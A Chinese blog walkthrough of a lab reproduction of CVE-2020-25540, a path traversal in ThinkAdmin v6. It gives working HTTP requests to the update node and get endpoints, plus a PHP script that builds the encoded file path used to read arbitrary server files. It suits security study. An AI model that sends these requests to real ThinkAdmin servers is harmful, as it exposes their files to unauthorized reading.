当前位置: 首页 > news >正文

春秋云镜——CVE-2020-25540

本博客所有网络安全相关教程、漏洞原理、渗透实操、攻防技术等内容,仅用于合法安全学习、白帽技术交流、企业授权安全测试。
所有技术严禁用于未授权探测、非法入侵、数据窃取、网络攻击等任何违反《中华人民共和国网络安全法》的违法行为。
任何个人利用本文内容实施违规操作,所产生的一切法律责任与后果均由当事人自行承担,与本人无关。
倡导正向网络安全学习,坚守白帽底线,共建清朗网络环境。

一、靶机介绍

ThinkAdmin 6版本存在路径遍历漏洞,可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件.

POST /admin/index.php?s=admin/api.Update/node HTTP/2 Host: eci-2ze2reusg8pi7fbsqy9g.cloudeci1.ichunqiu.com Content-Type: application/x-www-form-urlencoded Content-Length: 13 rules=["."]

二、环境信息

靶场地址:http://eci-2ze2reusg8pi7fbsqy9g.cloudeci1.ichunqiu.com:80/admin/login.html
目标版本:ThinkAdmin v6(PHP 7.2.20)
工具:Burp Suite、PHP 在线运行环境

三、漏洞复现步骤

步骤 1:验证漏洞存在(目录遍历)

首先使用 node 接口验证目录遍历功能,确认漏洞存在:
构造 POST 请求

POST /admin/index.php?s=admin/api.Update/node HTTP/1.1 Host: eci-2ze2reusg8pi7fbsqy9g.cloudeci1.ichunqiu.com Content-Type: application/x-www-form-urlencoded Content-Length: 22 rules=["../../../flag"]

响应结果(成功)

说明:文件列表成功返回,且确认 ../../../flag 路径下存在目标文件,漏洞存在。

步骤 2:构造自定义加密算法

ThinkAdmin 的 get 接口使用了 UTF-8→GBK→36 进制两位补 0 的自定义加密算法,需编写 PHP 脚本生成正确的 encode 值:
加密脚本

<?php function encode($content) { // 1. UTF-8转GBK $string = iconv('UTF-8', 'GBK//TRANSLIT', $content); $length = strlen($string); $chars = ''; // 2. 每个字符转36进制,两位一组补0 for ($i = 0; $i < $length; $i++) { $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); } return $chars; } // 目标路径 $content = "../../../flag"; echo "Encode Result: " . encode($content); ?>

运行结果
得到加密后的 encode 值:lala1blala1blala1b2u302p2v

步骤 3:读取目标文件(flag)

使用生成的 encode 值构造 get 接口请求,读取 flag 文件:
构造 GET 请求(HTTP/1.1)

GET /admin/index.php?s=admin/api.Update/get&encode=lala1blala1blala1b2u302p2v HTTP/1.1 Host: eci-2ze2reusg8pi7fbsqy9g.cloudeci1.ichunqiu.com

响应结果(解码前)
响应体为 Base64 编码内容

解码后得到:

http://www.zskr.cn/news/1444493.html

相关文章:

  • 从0到1:我是如何设计大模型结构化输出系统的
  • 千问 LeetCode 2926. 平衡子序列的最大和 C++实现
  • Simulink不连续模块组实战:用Saturation和DeadZone搞定汽车控制器的信号处理(2021b版)
  • 避坑指南:用ArcGIS统计格网耕地比例时,FID连接和创建唯一ID到底哪个更靠谱?
  • 别再为精度发愁了!用OpenFHE的Meta-BTS迭代自举,轻松实现CKKS高精度计算
  • AI赋能者:从专用智能到人机协同的未来
  • 2026年RFID采集器口碑与选购指南 - myqiye
  • 别再只打包APK了!用Unity 2022把游戏快速部署到安卓手机实时调试
  • CLIP模型实战避坑指南:从数据清洗到Prompt设计的5个关键细节
  • 2026年Q2华北防雨百叶窗专业厂商实测评测:锌钢铝合金百叶窗/防火电动百叶窗/不锈钢百叶窗/手动百叶窗/焊接格栅/选择指南 - 优质品牌商家
  • UE5调试别再只靠打印日志了!手把手教你用GEngine->AddOnScreenDebugMessage在屏幕上实时显示变量值
  • 龙蜥AnolisOS 8.8 最小化安装后,我都装了哪些必备软件?(附完整配置脚本)
  • 从仿真到实战:用MATLAB/Simulink快速验证你的三极管+MOS管电源开关电路
  • VisualCppRedist AIO:一键解决Windows运行时依赖问题的终极方案
  • Claude Code × SolidWorks 进阶:用 Python 替代 VBA 宏,实现真正的设计自动化
  • 保姆级教程:用Qt和C++连接阿里云IoT平台,实现设备数据上报与控制(附完整源码)
  • 从BN到CmBN:图解YOLOv4归一化技术的‘进化史’与调参实战
  • 别再让密码裸奔了!手把手教你为RuoYi-Vue登录模块集成RSA加密(附完整前后端代码)
  • 保姆级教程:用UE5.3+Omniverse Nucleus本地服务,5分钟搞定USD场景实时同步编辑
  • 大语言模型中的隐私保护技术:MPC、ZKP与FHE实践
  • S32K142实战:手把手教你用NXP SDK配置FlexCAN收发数据(附回调函数详解)
  • 别再为CKKS自举精度发愁了:OpenFHE里这个Meta-BTS迭代技巧,实测精度翻倍
  • 告别混乱图表!QCustomPlot多轴布局进阶指南:从游标联动到坐标轴标签美化
  • 2026年国内手机信号屏蔽仪权威品牌TOP5盘点:中考手机信号屏蔽器/中考防作弊器/中高考手机信号屏蔽仪/中高考防作弊器/选择指南 - 优质品牌商家
  • 带图形界面的Python人脸表情识别工具,含ResNet与CNN双模型及一键运行说明
  • Steam下载完成后自动关机:告别熬夜等待的智能解决方案
  • 不干胶生产设备实测评测:全自动切管机/全自动模切分条复卷机/半自动复卷机/半自动模切分条复卷机/复卷机设备/无胶复卷机/选择指南 - 优质品牌商家
  • 基于ESP32/NodeMCU与Blynk的分布式智能家居系统DIY指南
  • 别再折腾Docker了!一条命令搞定Vaultwarden+HTTPS,顺便聊聊Bitwarden自建的那些‘坑’
  • STM32CubeIDE编译后,Debug和Release文件夹里到底多了啥?一个文件对比就明白